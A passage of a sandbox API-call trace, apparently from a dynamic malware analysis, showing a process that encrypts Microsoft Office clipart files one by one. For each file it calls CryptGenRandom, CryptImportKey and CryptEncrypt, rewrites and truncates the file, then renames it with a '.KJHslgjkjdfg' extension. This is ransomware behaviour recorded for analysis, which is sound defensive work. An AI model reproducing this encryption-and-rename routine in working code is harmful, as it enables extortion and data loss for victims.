[0207.415] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.415] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8c0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8c0, lpOverlapped=0x0) returned 1 [0207.415] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8c0) returned 1 [0207.415] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.415] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8c0, lpOverlapped=0x0) returned 1 [0207.415] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.415] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.415] SetEndOfFile (hFile=0x130) returned 1 [0207.418] GetProcessHeap () returned 0x990000 [0207.418] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.418] GetProcessHeap () returned 0x990000 [0207.418] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.418] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02369_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02369_.wmf.kjhslgjkjdfg")) returned 1 [0207.420] CloseHandle (hObject=0x130) returned 1 [0207.420] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa494d400, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa494d400, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x39f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02522_.WMF", cAlternateFileName="")) returned 1 [0207.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02522_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.423] GetProcessHeap () returned 0x990000 [0207.423] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.423] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.423] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.423] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.425] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.425] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.425] GetProcessHeap () returned 0x990000 [0207.425] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.426] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.426] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.426] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.426] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.426] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.426] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.426] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.426] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.426] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.426] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.426] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.427] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x39f8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x39f8, lpOverlapped=0x0) returned 1 [0207.428] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3a00, dwBufLen=0x3a00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3a00) returned 1 [0207.428] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.428] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3a00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3a00, lpOverlapped=0x0) returned 1 [0207.428] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.429] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3ad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.429] SetEndOfFile (hFile=0x130) returned 1 [0207.432] GetProcessHeap () returned 0x990000 [0207.432] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.432] GetProcessHeap () returned 0x990000 [0207.432] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.432] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02522_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02522_.wmf.kjhslgjkjdfg")) returned 1 [0207.434] CloseHandle (hObject=0x130) returned 1 [0207.434] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d2a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02950_.WMF", cAlternateFileName="")) returned 1 [0207.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02950_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.435] GetProcessHeap () returned 0x990000 [0207.435] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.435] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.435] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.435] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0207.439] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.439] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.439] GetProcessHeap () returned 0x990000 [0207.439] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.439] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.439] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.439] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.439] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.439] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.439] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.439] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.440] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.440] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.440] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.440] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.440] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1d2a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1d2a, lpOverlapped=0x0) returned 1 [0207.441] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1d30, dwBufLen=0x1d30 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1d30) returned 1 [0207.441] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.441] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1d30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1d30, lpOverlapped=0x0) returned 1 [0207.441] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.441] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1e04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.441] SetEndOfFile (hFile=0x130) returned 1 [0207.443] GetProcessHeap () returned 0x990000 [0207.443] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.443] GetProcessHeap () returned 0x990000 [0207.443] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.443] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02950_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02950_.wmf.kjhslgjkjdfg")) returned 1 [0207.445] CloseHandle (hObject=0x130) returned 1 [0207.445] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02957_.WMF", cAlternateFileName="")) returned 1 [0207.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02957_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.446] GetProcessHeap () returned 0x990000 [0207.446] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.446] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.446] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.446] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.446] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.446] GetProcessHeap () returned 0x990000 [0207.446] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.446] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.446] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.446] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.448] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.448] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.448] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.448] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.449] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.449] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.449] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.449] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.449] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xc70, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xc70, lpOverlapped=0x0) returned 1 [0207.449] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc70, dwBufLen=0xc70 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc70) returned 1 [0207.449] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.449] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xc70, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xc70, lpOverlapped=0x0) returned 1 [0207.449] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.449] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.449] SetEndOfFile (hFile=0x130) returned 1 [0207.451] GetProcessHeap () returned 0x990000 [0207.451] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.451] GetProcessHeap () returned 0x990000 [0207.451] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.451] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02957_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02957_.wmf.kjhslgjkjdfg")) returned 1 [0207.453] CloseHandle (hObject=0x130) returned 1 [0207.453] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b17c400, ftCreationTime.dwHighDateTime=0x1bd4af8, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b17c400, ftLastWriteTime.dwHighDateTime=0x1bd4af8, nFileSizeHigh=0x0, nFileSizeLow=0x614, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03236_.WMF", cAlternateFileName="")) returned 1 [0207.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.453] GetProcessHeap () returned 0x990000 [0207.454] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.454] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.454] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.454] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0207.455] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.455] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.456] GetProcessHeap () returned 0x990000 [0207.456] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.456] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.456] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.456] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.456] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.456] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.456] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.456] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.456] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.456] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.456] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.456] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.456] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x614, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x614, lpOverlapped=0x0) returned 1 [0207.456] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x620, dwBufLen=0x620 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x620) returned 1 [0207.456] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.456] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x620, lpOverlapped=0x0) returned 1 [0207.457] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.457] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.457] SetEndOfFile (hFile=0x130) returned 1 [0207.459] GetProcessHeap () returned 0x990000 [0207.459] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.459] GetProcessHeap () returned 0x990000 [0207.459] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.459] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03236_.wmf"), 